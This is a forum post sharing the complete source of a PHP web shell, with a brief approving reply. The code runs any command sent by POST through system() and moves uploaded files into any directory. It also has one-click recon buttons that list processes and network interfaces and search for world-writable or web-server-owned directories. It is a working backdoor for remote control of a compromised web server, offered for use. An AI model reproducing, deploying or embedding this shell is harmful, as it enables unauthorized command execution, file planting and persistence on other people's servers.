simple php shell - PHP

schumbag

i also do not know how this code can be up to the land of china and I think this is simple and easy coding quite happy if someone likes my work:)

&lt;html&gt;
&lt;head&gt;
&lt;body text=\"#00ff00\" bgcolor=\"#000000\"&gt;
&lt;title&gt;cakill schumbag&lt;/title&gt;
&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"&gt;
&lt;center&gt;&lt;font face=\"trebuchet ms\" size=\"4\"&gt;&lt;b&gt;Created By cakill-schumbag &lt;/b&gt;&lt;/p&gt;&lt;/center&gt;
&lt;?php
print \"&lt;style&gt;body{text&#58;#999999;bgcolor&#58;#000000;font-family&#58;tahoma ms;font-size&#58;15px;}hr{width&#58;100%;height&#58;2px;}&lt;/style&gt;\";
print \"&lt;center&gt;&lt;h1&gt;thank's 4all keluarga laknat&lt;/h1&gt;&lt;/center&gt;\";
print \"&lt;hr&gt;&lt;hr&gt;\";
closelog( );
$user = get_current_user( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$ver = phpversion( );
$gid = posix_getgid( );
if ($chdir == \"\") $chdir = getcwd( );
if(!$whoami)$whoami=exec(\"whoami\");
?&gt;
&lt;TABLE BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"0\"&gt;
&lt;?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?&gt;
&lt;TR&gt;
    &lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;&lt;span style=\"font-size&#58; 9pt\"&gt;&lt;?= $info ?&gt;
      &lt;span style=\"font-size&#58; 9pt\"&gt;&#58;&lt;/b&gt; &lt;?= $value ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;?php
}
?&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;User Info&#58;&lt;/b&gt; uid=&lt;?= $login ?&gt;(&lt;?= $whoami?&gt;) euid=&lt;?= $euid ?&gt;(&lt;?= $whoami?&gt;) gid=&lt;?= $gid ?&gt;(&lt;?= $whoami?&gt;)&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;Server Services&#58;&lt;/b&gt; &lt;?= \"$SERVER_SOFTWARE $SERVER_VERSION\"; ?&gt;
    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;Permision Directory&#58;&lt;/b&gt; &lt;? if(@is_writable($chdir)){ echo \"Yes\";

}else{ echo \"No\"; } ?&gt;
    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;Server Address&#58;&lt;/b&gt; &lt;?= \"$SERVER_ADDR $SERVER_NAME\"; ?&gt;
    &lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;Current User&#58;&lt;/b&gt; &lt;?= $user ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;TR&gt;
&lt;TD align=\"left\"&gt;&lt;DIV STYLE=\"font-family&#58; verdana; font-size&#58; 10px;\"&gt;&lt;b&gt;
    &lt;span style=\"font-size&#58; 9pt\"&gt;PHP Version&#58;&lt;/b&gt; &lt;?= $ver ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/b&gt;
&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;
&lt;?php

set_magic_quotes_runtime(0);

$currentWD = str_replace(\"\\\\\",\"\\\",$_POST&#91;'_cwd'&#93;);
$currentCMD = str_replace(\"\\\\\",\"\\\",$_POST&#91;'_cmd'&#93;);

$UName = `uname -a`;
$SCWD   = `pwd`;
$UserID = `id`;

if( $currentWD == \"\" ) {
    $currentWD = $SCWD;
}

if( $_POST&#91;'_act'&#93; == \"List File\" ) {
    $currentCMD = \"ls -la\";
}

if( $_POST&#91;'_act'&#93; == \"IP\" ) {
    $currentCMD = \"/sbin/ifconfig|grep inet\";
}

if( $_POST&#91;'_act'&#93; == \"Proses\" ) {
    $currentCMD = \"ps -wx\";
}
if( $_POST&#91;'_act'&#93; == \"Memory\" ) {
    $currentCMD = \"free\";
}

if( $_POST&#91;'_act'&#93; == \"777\" ) {
    $currentCMD = \"find / -perm 777 -type d\";
}

if( $_POST&#91;'_act'&#93; == \"nobody\" ) {
    $currentCMD = \"find / -user nobody -type d\";
}

if( $_POST&#91;'_act'&#93; == \"apache\" ) {
    $currentCMD = \"find / -user apache -type d\";
}

if( $_POST&#91;'_act'&#93; == \"httpd\" ) {
    $currentCMD = \"find / -user httpd -type d\";
}

if( $_POST&#91;'_act'&#93; == \"www\" ) {
    $currentCMD = \"find / -user www -type d\";
}

if( $_POST&#91;'_act'&#93; == \"www-data\" ) {
    $currentCMD = \"find / -user www-data -type d\";
}

print \"&lt;form method=post enctype=\\"multipart/form-data\\"&gt;&lt;hr&gt;&lt;hr&gt;&lt;table&gt;\";

print \"&lt;tr&gt;&lt;td&gt;&lt;b&gt;Command&#58;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input size=100 name=\\"_cmd\\"

value=\\"\"&#46;$currentCMD&#46;\"\\"&gt;&lt;/td&gt;\";
print \"&lt;td&gt;&lt;input type=submit name=_act value=\\"Run\\"&gt;&lt;/td&gt;&lt;/tr&gt;\";

print \"&lt;tr&gt;&lt;td&gt;&lt;b&gt;Directory&#58;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input size=100 name=\\"_cwd\\"

value=\\"\"&#46;$currentWD&#46;\"\\"&gt;&lt;/td&gt;\";
print \"&lt;td&gt;&lt;input type=submit name=_act value=\\"List File\\"&gt;&lt;/td&gt;&lt;/tr&gt;\";

print \"&lt;tr&gt;&lt;td&gt;&lt;b&gt;Upload file&#58;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input size=88 type=file name=_upl&gt;&lt;/td&gt;\";
print \"&lt;td&gt;&lt;input type=submit name=_act value=\\"Upload\\"&gt;&lt;/td&gt;&lt;/tr&gt;\";

print \"&lt;tr&gt;&lt;td&gt;&lt;b&gt;Find&#58;&lt;/b&gt;&lt;/td&gt;\";
print \"&lt;td&gt;&lt;input type=submit name=_act value=\\"IP\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input type=submit name=_act

value=\\"Proses\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input type=submit name=_act value=\\"777\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input type=submit

name=_act value=\\"nobody\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input type=submit name=_act value=\\"apache\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input

type=submit name=_act value=\\"httpd\\"&gt;&lt;b&gt; &lt;b&gt;&lt;input type=submit name=_act value=\\"www\\"&gt;&lt;b&gt;

&lt;b&gt;&lt;input type=submit name=_act value=\\"www-data\\"&gt;&lt;/td&gt;&lt;/tr&gt;\";

print \"&lt;/table&gt;&lt;/form&gt;&lt;hr&gt;&lt;hr&gt;\";

$currentCMD = str_replace(\"\\\\"\",\"\\"\",$currentCMD);
$currentCMD = str_replace(\"\\\'\",\"\'\",$currentCMD);

if( $_POST&#91;'_act'&#93; == \"Upload\" ) {
    if( $_FILES&#91;'_upl'&#93;&#91;'error'&#93; != UPLOAD_ERR_OK ) {
        print \"&lt;center&gt;&lt;b&gt;Error Upload Failed!!!&lt;/b&gt;&lt;/center&gt;\";
    } else {
        print \"&lt;center&gt;&lt;pre&gt;\";
        system(\"mv \"&#46;$_FILES&#91;'_upl'&#93;&#91;'tmp_name'&#93;&#46;\" \"&#46;$currentWD&#46;\"/\"&#46;$_FILES&#91;'_upl'&#93;&#91;'name'&#93;&#46;\" 2&gt;&1\");
        print \"&lt;/pre&gt;&lt;b&gt;Upload File Succes!!!&lt;/b&gt;&lt;/center&gt;\";
    }   
} else {
    print \"\n\n&lt;!-- OUTPUT STARTS HERE --&gt;\n&lt;pre&gt;\n\";
    $currentCMD = \"cd \"&#46;$currentWD&#46;\";\"&#46;$currentCMD;
system(\"$currentCMD 1&gt; /tmp/cmdtemp 2&gt;&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp\");
    print \"\n&lt;/pre&gt;\n&lt;!-- OUTPUT ENDS HERE --&gt;\n\n&lt;/center&gt;&lt;hr&gt;&lt;hr&gt;&lt;center&gt;&lt;b&gt;Cakill-Schumbag&lt;/b&gt;&lt;/center&gt;\";
}

exit;

?&gt;

and this from source
http://hi.baidu.com/myetcat/blog/item/5 ... af14e.html

Xin

Nice, would be good to modify easily to add features :)

Howdy, Stranger!

Top Posters

Who's Online (0)